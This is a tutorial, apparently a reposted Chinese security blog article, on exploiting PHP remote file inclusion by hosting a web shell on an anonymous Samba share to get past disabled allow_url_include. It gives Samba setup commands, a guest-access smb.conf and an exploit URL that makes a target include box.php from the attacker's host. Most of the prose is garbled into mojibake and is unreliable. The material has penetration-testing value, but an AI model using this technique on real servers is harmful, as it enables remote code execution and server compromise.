使用SMB共享来绕过php远程文件包含的限制执行RFI的利用
å¨è¿ç¯åæä¸ï¼æå°ä¸ºå¤§å®¶æ¼ç¤ºå¦ä½å©ç¨PHPåºç¨ä¸çè¿ç¨æä»¶å嫿¼æ´çææ¯ãæä»¬å°ç»è¿phpè¿ç¨æä»¶åå«çéå¶ï¼å¹¶æ§è¡RFIçå©ç¨ï¼å³ä½¿PHPç¯å¢è¢«é置为ä¸å嫿¥èªè¿ç¨HTTP/FTP URLçæä»¶ã
PHP å SMB å±äº«æä»¶è®¿é®
å¨PHPéç½®æä»¶ä¸ï¼âallow_url_includeâwrapperé»è®¤è®¾ç½®ä¸ºâOffâï¼æç¤ºPHPä¸å è½½è¿ç¨HTTPæFTP URLï¼ä»è鲿¢è¿ç¨æä»¶å嫿»å»ã使¯ï¼å³ä½¿âallow_url_includeâåâallow_url_fopenâé½è®¾ç½®ä¸ºâOffâï¼PHPä¹ä¸ä¼é»æ¢å è½½SMB URLãèè¿å°±ææå¯è½è¢«æ»¥ç¨æ¥ä»SMBå±äº«å è½½è¿ç¨æç®¡çPHP Web shellã
æ»å»åºæ¯æ¦è¿°
彿忻å»çPHPåºç¨ç¨åºä»£ç å°è¯ä»åæ»å»èæ§å¶çSMBå±äº«å è½½PHP Web shellæ¶ï¼SMBå±äº«åºå许访é®è¯¥æä»¶ãæ»å»èéè¦å¨å¶ä¸éç½®å·æå¿åæµè§è®¿é®æéçSMBæå¡å¨ãå æ¤ï¼ä¸æ¦æåæ»å»çåºç¨ç¨åºå°è¯ä»SMBå±äº«è®¿é®PHP Web shellï¼SMBæå¡å¨å°ä¸ä¼è¦æ±ä»»ä½çåæ®ï¼æåæ»å»çåºç¨ç¨åºå°åå«Web shellçPHP代ç ã
é¦åï¼æéæ°éç½®äºPHPç¯å¢ï¼å¹¶å¨php.in iæä»¶ä¸ç¦ç¨äºâallow-url-fopenâåâallow-url-includeâãä¹åï¼éç½®äºå·æå¿åæµè§è®¿é®çSMBæå¡å¨ã䏿¦SMBå±äº«åå¤å°±ç»ªï¼æä»¬å°±å¯ä»¥å©ç¨æåæ»å»çåºç¨ç¨åºäºã
PHP ç¯å¢è®¾ç½®
å°æç®¡æåæ»å»ä»£ç çæºå¨ä¸çâallow_url_fopenâåâallow_url_includeâ设置为âOffâ
以䏿¯çæ¬ä¸ºâ5.5.11âçPHPå½åéç½®æªå¾ï¼
å¨ç»§ç»ä¸ä¸æ¥ä¹åï¼è®©æä»¬ç¡®ä¿å½æä»¬å°è¯è®¿é®HTTPä¸æç®¡çWeb shellæ¶ï¼PHP代ç ä¸å许è¿ç¨æä»¶åå«ã
å¯ä»¥çå°ï¼å½æè¯å¾ä»è¿ç¨ä¸»æºåå«PHP Web shellæ¶ï¼åºç¨ç¨åºæåºéè¯¯å¹¶ä¸æ²¡æåå«è¿ç¨æä»¶ã
使ç¨å¿åæµè§è®¿é®éç½® Samba æå¡å¨ï¼Linux æºå¨ï¼
使ç¨ä»¥ä¸å½ä»¤å®è£Sambaæå¡å¨ï¼
apt-get install sambaå建SMBå±äº«ç®å½ï¼
mkdir /var/www/html/pub/
éç½®æ°å建çSMBå±äº«ç®å½çæéï¼
chmod 0555 /var/www/html/pub/ chown -R nobody:nogroup /var/www/html/pub/
è¿è¡ä»¥ä¸å½ä»¤ï¼å é¤SAMBAæå¡å¨éç½®æä»¶çé»è®¤å容ã
echo > /etc/samba/smb.confå°ä»¥ä¸å容添å å°/etc/samba/smb.confæä»¶ã
[global] workgroup = WORKGROUP server string = Samba Server %v netbios name = indishell-lab security = user map to guest = bad user name resolve order = bcast host dns proxy = no bind interfaces only = yes [ica] path = /var/www/html/pub writable = no guest ok = yes guest only = yes read only = yes directory mode = 0555
force user = nobody
ç°å¨ï¼éå¯SAMBAæå¡å¨ä»¥ä½¿éç½®æä»¶/etc/samba/smb.confä¸çæ°éç½®çæã
service smbd restartæåéå¯SAMBAæå¡å¨åï¼å°è¯è®¿é®SMBå±äº«å¹¶ç¡®ä¿SAMBAæå¡å¨ä¸è¦æ±æä¾åæ®ã
卿¬ä¾ä¸ï¼SAMBAæå¡å¨IP为192.168.0.3ï¼æéè¦è®¿é®Windowsæä»¶æµè§å¨ä¸çSMBå±äº«ï¼å¦ä¸ï¼
å¨ SMB å±äº«ä¸æç®¡ PHP Web shell
太æ£äºï¼å¯ä»¥è®¿é®smbå±äº«ï¼å¹¶æ¾ç¤ºç®å½âicaâåå¨ã
ç°å¨ï¼å°PHP shellæç®¡å¨ç®å½â/var/www/html/pubâä¸ï¼è¯¥ç®å½ä¸ºsmbå±äº«ç®å½âicaâã
æåæç®¡PHP shellåï¼æä»¬ä½¿ç¨Windowsæä»¶æµè§å¨è®¿é®SMBå±äº«ç®å½âicaâã
\\192.168.0.3\ica\å¯ä»¥çå°php shellåå¨äºsmbå±äº«ç®å½ä¸ï¼å¨æ¬ä¾ä¸ä¸ºbox.phpæä»¶ã
å©ç¨æä»¶å嫿忻å»çåæ°
让æä»¬ä½¿ç¨è¿ä¸ªPHP shell SMB龿¥ï¼ä»¥åæåæ»å»çphpä»£ç æµè§å®ã
http://vulnerable_application/page.php?page=\\192.168.0.3\ica\box.phpPHPæåæ»å»ç代ç ä»SMBå±äº«ä¸è·åäºweb shellï¼å¹¶å¨åºç¨ç¨åºæå¡å¨ä¸æ§è¡äºä»£ç \m/ãæä»¬å·²ç»ç»è¿äºphpè¿ç¨æä»¶åå«çéå¶ï¼å¹¶åå«äºæç®¡å¨è¿ç¨ä¸»æºä¸çWeb shellã
æ»ç»
ä»¥ä¸æè¿°æ¯å°ç¼ç»å¤§å®¶ä»ç»ç使ç¨SMBå±äº«æ¥ç»è¿phpè¿ç¨æä»¶åå«çéå¶æ§è¡RFIçå©ç¨ï¼å¸æå¯¹å¤§å®¶ææå¸®å©ï¼å¦æå¤§å®¶æä»»ä½çé®è¯·ç»æçè¨ï¼å°ç¼ä¼åæ¶åå¤å¤§å®¶çã卿¤ä¹é常æè°¢å¤§å®¶å¯¹èæ¬ä¹å®¶ç½ç«çæ¯æï¼